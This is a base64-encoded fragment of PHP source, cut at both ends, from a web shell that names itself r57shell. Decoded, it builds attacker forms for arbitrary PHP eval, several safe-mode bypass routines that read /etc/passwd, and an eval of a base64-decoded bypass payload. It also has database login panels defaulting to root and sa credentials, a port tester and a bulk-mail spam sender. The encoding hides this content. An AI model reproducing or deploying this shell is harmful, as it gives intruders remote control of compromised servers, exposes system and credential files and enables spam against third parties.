UWydwYXJhbTInXSk6KCIwNzc3IikpKS5pbignaGlkZGVuJywnY21kJywwLCdjaF8nKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDEnXSkpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KfQ0KIA0KaWYoISRzYWZlX21vZGUpew0KJGFsaWFzZXMyID0gJyc7DQpmb3JlYWNoICgkYWxpYXNlcyBhcyAkYWxpYXNfbmFtZT0+JGFsaWFzX2NtZCkNCiB7DQogJGFsaWFzZXMyIC49ICI8b3B0aW9uPiRhbGlhc19uYW1lPC9vcHRpb24+IjsNCiB9DQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NyddLCdpZDcnKS4kdGFibGVfdXAyLmRpdignaWQ3JykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii53cyg5KS4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0OCddLiRhcnJvdy53cyg0KS4iPC9iPiIsIjxzZWxlY3QgbmFtZT1hbGlhcz4iLiRhbGlhc2VzMi4iPC9zZWxlY3Q+Ii5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDEnXSkpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KfQ0KIA0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDU0J10sJ2lkOCcpLiR0YWJsZV91cDIuZGl2KCdpZDgnKS4kdHM7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ1MiddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdzX3RleHQnLDg1LCd0ZXh0Jykud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MTInXSkpOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NTMnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0Jywnc19kaXInLDg1LCRkaXIpLiIgKiAoIC9yb290Oy9ob21lOy90bXAgKSIpOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NTUnXS4kYXJyb3cuIjwvYj4iLGluKCdjaGVja2JveCcsJ20gaWQ9bScsMCwnMScpLmluKCd0ZXh0Jywnc19tYXNrJyw4MiwnLnR4dDsucGhwJykuIiogKCAudHh0Oy5waHA7Lmh0bSApIi5pbignaGlkZGVuJywnY21kJywwLCdzZWFyY2hfdGV4dCcpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KIA0KIA0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDc2J10sJ2lkOScpLiR0YWJsZV91cDIuZGl2KCdpZDknKS4kdHM7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ3MiddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdzX3RleHQnLDg1LCd0ZXh0Jykud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MTInXSkpOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NzMnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0Jywnc19kaXInLDg1LCRkaXIpLiIgKiAoIC9yb290Oy9ob21lOy90bXAgKSIpOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NzQnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0Jywnc19tYXNrJyw4NSwnKi5baGNdJykud3MoMSkuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDc1J10uaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZmluZF90ZXh0JykuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQogDQoNCg0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDE3NiddLCdpZDcxJykuJHRhYmxlX3VwMi5kaXYoJ2lkNzEnKS4kdHM7DQplY2hvIHNyKDE1LCIiLCI8Yj5EbzogPC9iPiIuaW4oJ3RleHQnLCdtYWlsX3RvJywxNSwoIWVtcHR5KCRfUE9TVFsnbWFpbF90byddKT8oJF9QT1NUWydtYWlsX3RvJ10pOigiYWRtaW5AbGFtZXIuY29tIikpKS53cyg0KS4iPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTc0J10uJGFycm93LiI8L2I+Ii5pbigndGV4dCcsJ21haWxfZnJvbScsMTUsKCFlbXB0eSgkX1BPU1RbJ21haWxfZnJvbSddKT8oJF9QT1NUWydtYWlsX2Zyb20nXSk6KCJib2dAbmllYmlvc2EuY29tIikpKS53cyg0KS4iPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTc1J10uJGFycm93LiI8L2I+Ii5pbigndGV4dCcsJ21haWxfaWxlJywxNSwoIWVtcHR5KCRfUE9TVFsnbWFpbF9pbGUnXSk/KCRfUE9TVFsnbWFpbF9pbGUnXSk6KCIxMDAiKSkpLiI8YnI+VGVtYXQ6Ii5pbigndGV4dCcsJ21haWxfdG9waWMnLDg1LCghZW1wdHkoJF9QT1NUWydtYWlsX3RvcGljJ10pPygkX1BPU1RbJ21haWxfdG9waWMnXSk6KCJURU1BVCIpKSkuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS4iPHRleHRhcmVhIG5hbWU9bWFpbF9tc2cgY29scz0xMDAgcm93cz0xMD4iLighZW1wdHkoJF9QT1NUWydtYWlsX21zZyddKT8oJF9QT1NUWydtYWlsX21zZyddKTooIlRleHQiKSkuIjwvdGV4dGFyZWE+PGJyPiIuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCd0ZXN0NjEnKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQxNSddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQoNCg0KDQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzInXSwnaWQxMCcpLiR0YWJsZV91cDIuJGZvbnQ7DQplY2hvICI8ZGl2IGFsaWduPWNlbnRlcj4iLmRpdignaWQxMCcpLiI8dGV4dGFyZWEgbmFtZT1waHBfZXZhbCBjb2xzPTEwMCByb3dzPTEwPiI7DQplY2hvICghZW1wdHkoJF9QT1NUWydwaHBfZXZhbCddKT8oJF9QT1NUWydwaHBfZXZhbCddKTooIi8vdW5saW5rKFwicjU3c2hlbGwucGhwXCIpO1xyXG4vL3JlYWRmaWxlKFwiL2V0Yy9wYXNzd2RcIik7XHJcbi8vZmlsZV9nZXRfY29udGVudChcIi9ldGMvcGFzc3dkXCIpOyIpKTsNCmVjaG8gIjwvdGV4dGFyZWE+IjsNCmVjaG8gaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCdwaHBfZXZhbCcpOw0KZWNobyAiPGJyPiIud3MoMSkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MSddKTsNCmVjaG8gIjwvZGl2PjwvZGl2PjwvZm9udD4iOw0KZWNobyAkdGFibGVfZW5kMS4kZmU7DQoNCg0KDQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTcwJ10sJ2lkNzAnKS4kdGFibGVfdXAyLmRpdignaWQ3MCcpLiR0czsNCmVjaG8gc3IoMTUsIjxiPlRhcmdldDwvYj4iLGluKCd0ZXh0JywndGVzdDY2X3RhcmdldCcsMTUsKCFlbXB0eSgkX1BPU1RbJ3Rlc3Q2Nl90YXJnZXQnXSk/KCRfUE9TVFsndGVzdDY2X3RhcmdldCddKTooImxvY2FsaG9zdCIpKSkud3MoNCkuIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDE3MiddLiRhcnJvdy4iPC9iPiIuaW4oJ3RleHQnLCd0ZXN0NjZfcG9ydCcsMTUsKCFlbXB0eSgkX1BPU1RbJ3Rlc3Q2Nl9wb3J0J10pPygkX1BPU1RbJ3Rlc3Q2Nl9wb3J0J10pOigiODAiKSkpLndzKDQpLiI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxNzEnXS4kYXJyb3cuIjwvYj4iLmluKCd0ZXh0JywndGVzdDY2X3RpbWUnLDE1LCghZW1wdHkoJF9QT1NUWyd0ZXN0NjZfdGltZSddKT8oJF9QT1NUWyd0ZXN0NjZfdGltZSddKTooIjYwIikpKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3Rlc3Q2NicpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDE2J10pKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsNCiANCg0KDQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTY5J10sJ2lkNjknKS4kdGFibGVfdXAyLmRpdignaWQ2OScpLiR0czsNCmVjaG8gIjx0YWJsZSBjbGFzcz10YWJsZTEgd2lkdGg9MTAwJSBhbGlnbj1jZW50ZXI+IjsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDMwJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Rlc3Q2OV9maWxlJyw4NSwoIWVtcHR5KCRfUE9TVFsndGVzdDY5X2ZpbGUnXSk/KCRfUE9TVFsndGVzdDY5X2ZpbGUnXSk6KCIvZXRjL3Bhc3N3ZCIpKSkuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCd0ZXN0NjknKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ4J10pKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsgDQoNCg0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDM0J10sJ2lkMTEnKS4kdGFibGVfdXAyLmRpdignaWQxMScpLiR0czsNCmVjaG8gIjx0YWJsZSBjbGFzcz10YWJsZTEgd2lkdGg9MTAwJSBhbGlnbj1jZW50ZXI+IjsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDMwJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Rlc3QyX2ZpbGUnLDg1LCghZW1wdHkoJF9QT1NUWyd0ZXN0Ml9maWxlJ10pPygkX1BPU1RbJ3Rlc3QyX2ZpbGUnXSk6KCIvZXRjL3Bhc3N3ZCIpKSkuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCd0ZXN0MicpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDgnXSkpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KIA0KIA0KIA0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDMzJ10sJ2lkMTInKS4kdGFibGVfdXAyLmRpdignaWQxMicpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDMwJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Rlc3QxX2ZpbGUnLDg1LCghZW1wdHkoJF9QT1NUWyd0ZXN0MV9maWxlJ10pPygkX1BPU1RbJ3Rlc3QxX2ZpbGUnXSk6KCIvZXRjL3Bhc3N3ZCIpKSkuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCd0ZXN0MScpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDgnXSkpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KIA0KIA0KIA0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDM1J10sJ2lkMTMnKS4kdGFibGVfdXAyLmRpdignaWQxMycpLiR0czsNCmVjaG8gc3IoMTUsIjxiPkhvc3Q8L2I+IixpbigndGV4dCcsJ3Rlc3QzX2hvc3QnLDE1LCghZW1wdHkoJF9QT1NUWyd0ZXN0M19ob3N0J10pPygkX1BPU1RbJ3Rlc3QzX2hvc3QnXSk6KCJsb2NhbGhvc3QiKSkpLndzKDQpLiI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzNiddLiRhcnJvdy4iPC9iPiIuaW4oJ3RleHQnLCd0ZXN0M19tZCcsMTUsKCFlbXB0eSgkX1BPU1RbJ3Rlc3QzX21kJ10pPygkX1BPU1RbJ3Rlc3QzX21kJ10pOigibXlzcWwiKSkpLndzKDQpLiI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzNyddLiRhcnJvdy4iPC9iPiIuaW4oJ3RleHQnLCd0ZXN0M19tbCcsMTUsKCFlbXB0eSgkX1BPU1RbJ3Rlc3QzX21sJ10pPygkX1BPU1RbJ3Rlc3QzX21sJ10pOigicm9vdCIpKSkud3MoNCkuIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDM4J10uJGFycm93LiI8L2I+Ii5pbigndGV4dCcsJ3Rlc3QzX21wJywxNSwoIWVtcHR5KCRfUE9TVFsndGVzdDNfbXAnXSk/KCRfUE9TVFsndGVzdDNfbXAnXSk6KCJwYXNzd29yZCIpKSkpOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzAnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndGVzdDNfZmlsZScsOTYsKCFlbXB0eSgkX1BPU1RbJ3Rlc3QzX2ZpbGUnXSk/KCRfUE9TVFsndGVzdDNfZmlsZSddKTooIi9ldGMvcGFzc3dkIikpKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3Rlc3QzJykud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0OCddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQogDQogDQogDQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0ODUnXSwnaWQxNCcpLiR0YWJsZV91cDIuZGl2KCdpZDE0JykuJHRzOw0KZXZhbChiYXNlNjRfZGVjb2RlKCRieXBhc3MxKSk7DQplY2hvIHNyKDE1LCI8Yj5Ib3N0PC9iPiIsaW4oJ3RleHQnLCd0ZXN0NF9ob3N0JywxNSwoIWVtcHR5KCRfUE9TVFsndGVzdDRfaG9zdCddKT8oJF9QT1NUWyd0ZXN0NF9ob3N0J10pOigibG9jYWxob3N0IikpKS53cyg0KS4iPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzYnXS4kYXJyb3cuIjwvYj4iLmluKCd0ZXh0JywndGVzdDRfbWQnLDE1LCghZW1wdHkoJF9QT1NUWyd0ZXN0NF9tZCddKT8oJF9QT1NUWyd0ZXN0NF9tZCddKTooIm1hc3RlciIpKSkud3MoNCkuIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDM3J10uJGFycm93LiI8L2I+Ii5pbigndGV4dCcsJ3Rlc3Q0X21sJywxNSwoIWVtcHR5KCRfUE9TVFsndGVzdDRfbWwnXSk/KCRfUE9TVFsndGVzdDRfbWwnXSk6KCJzYSIpKSkud3MoNCkuIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDM4J10uJGFycm93LiI8L2I+Ii5pbigndGV4dCcsJ3Rlc3Q0X21wJywxNSwoIWVtcHR5KCRfUE9TVFsndGVzdDRfbXAnXSk/KCRfUE9TVFsndGVzdDRfbXAnXSk6KCJwYXNzd29yZCIpKSkud3MoNCkuIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDE0J10uJGFycm93LiI8L2I+Ii5pbigndGV4dCcsJ3Rlc3Q0X3BvcnQnLDE1LCghZW1wdHkoJF9QT1NUWyd0ZXN0NF9wb3J0J10pPygkX1BPU1RbJ3Rlc3Q0X3BvcnQnXSk6KCIxNDMzIikpKSk7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Rlc3Q0X2ZpbGUnLDk2LCghZW1wdHkoJF9QT1NUWyd0ZXN0NF9maWxlJ10pPygkX1BPU1RbJ3Rlc3Q0X2ZpbGUnXSk6KCJkaXIiKSkpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwndGVzdDQnKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ4J10pKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsNCiANCiANCiANCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMTInXSwnaWQxNScpLiR0YWJsZV91cDIuZGl2KCdpZDE1JykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzAnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndGVzdDVfZmlsZScsOTYsKCFlbXB0eSgkX1BPU1RbJ3Rlc3Q1X2ZpbGUnXSk/KCRfUE9TVFsndGVzdDVfZmlsZSddKTooIi9ldGMvcGFzc3dkIikpKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3Rlc3Q1Jykud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0OCddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQogDQogDQogDQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTEzJ10sJ2lkMjAnKS4kdGFibGVfdXAyLmRpdignaWQyMCcpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDQnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndGVzdDZfZmlsZScsOTYsKCFlbXB0eSgkX1BPU1RbJ3Rlc3Q2X2ZpbGUnXSk/KCRfUE9TVFsndGVzdDZfZmlsZSddKTooJGRpcikpKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3Rlc3Q2Jykud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0OCddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQogDQogDQogDQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTE0J10sJ2lkMjEnKS4kdGFibGVfdXAyLmRpdignaWQyMScpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDMwJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Rlc3Q3X2ZpbGUnLDk2LCghZW1wdHkoJF9QT1NUWyd0ZXN0N19maWxlJ10pPygkX1BPU1RbJ3Rlc3Q3X2ZpbGUnXSk6KCIvZXRjL3Bhc3N3ZCIpKSkuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCd0ZXN0NycpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDgnXSkpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KIA0KIA0KIA0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDExNSddLCdpZDIyJykuJHRhYmxlX3VwMi5kaXYoJ2lkMjInKS4kdHM7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMTYnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndGVzdDhfZmlsZTEnLDk2LCghZW1wdHkoJF9QT1NUWyd0ZXN0OF9maWxlMSddKT8oJF9QT1NUWyd0ZXN0OF9maWxlMSddKTooIi9ldGMvcGFzc3dkIikpKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3Rlc3Q4JykpOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTE3J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Rlc3Q4X2ZpbGUyJyw5NiwoIWVtcHR5KCRfUE9TVFsndGVzdDhfZmlsZTInXSk/KCRfUE9TVFsndGVzdDhfZmlsZTInXSk6KCRkaXIpKSkud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0OCddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7ICANCiANCiANCiANCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMjAnXSwnaWQyMycpLiR0YWJsZV91cDIuZGl2KCdpZDIzJykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzAnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndGVzdDlfZmlsZScsOTYsKCFlbXB0eSgkX1BPU1RbJ3Rlc3Q5X2ZpbGUnXSk/KCRfUE9TVFsndGVzdDlfZmlsZSddKTooIi9ldGMvcGFzc3dkIikpKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3Rlc3Q5Jykud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0OCddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQogDQogDQogDQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTIxJ10sJ2lkMjQnKS4kdGFibGVfdXAyLmRpdignaWQyNCcpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDQnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndGVzdDEwX2ZpbGUnLDk2LCghZW1wdHkoJF9QT1NUWyd0ZXN0MTBfZmlsZSddKT8oJF9QT1NUWyd0ZXN0MTBfZmlsZSddKTooJGRpcikpKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3Rlc3QxMCcpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDgnXSkpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KIA0KIA0KIA0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEyMiddLCdpZDE5JykuJHRhYmxlX3VwMi5kaXYoJ2lkMTknKS4kdHM7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ0J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2RpcicsOTYsKCFlbXB0eSgkX1BPU1RbJ3Rlc3QxOF9maWxlJ10pPygkX1BPU1RbJ3Rlc3QxOF9maWxlJ10pOigkZGlyKSkpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3NhZmVfZGlyJykud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0OCddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQogDQogDQogDQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTMwJ10sJ2lkMjUnKS4kdGFibGVfdXAyLmRpdignaWQyNScpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDExNiddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0MTFfZmlsZScsOTYsKCFlbXB0eSgkX1BPU1RbJ3Rlc3QxMV9maWxlJ10pPygkX1BPU1RbJ3Rlc3QxMV9maWxlJ10pOigiL3RtcC90ZXN0LnppcCIpKSkuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCd0ZXN0MTEnKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ4J10pKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsgIA0KIA0KIA0KIA0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEyMyddLCdpZDI2JykuJHRhYmxlX3VwMi5kaXYoJ2lkMjYnKS4kdHM7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMTYnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndGVzdDEyX2ZpbGUnLDk2LCghZW1wdHkoJF9QT1NUWyd0ZXN0MTJfZmlsZSddKT8oJF9QT1NUWyd0ZXN0MTJfZmlsZSddKTooIi90bXAvdGVzdC5iemlwIikpKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3Rlc3QxMicpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDgnXSkpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOyAgDQogDQogDQogDQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTI0J10sJ2lkMjcnKS4kdGFibGVfdXAyLmRpdignaWQyNycpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDY1J10uIiAiLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ1OSddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0MTNfZmlsZTInLDk2LCghZW1wdHkoJF9QT1NUWyd0ZXN0MTNfZmlsZTInXSk/KCRfUE9TVFsndGVzdDEzX2ZpbGUyJ10pOigkZGlyLiIvc2hlbGwucGhwIikpKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3Rlc3QxMycpKTsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEyNSddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0MTNfZmlsZTEnLDk2LCghZW1wdHkoJF9QT1NUWyd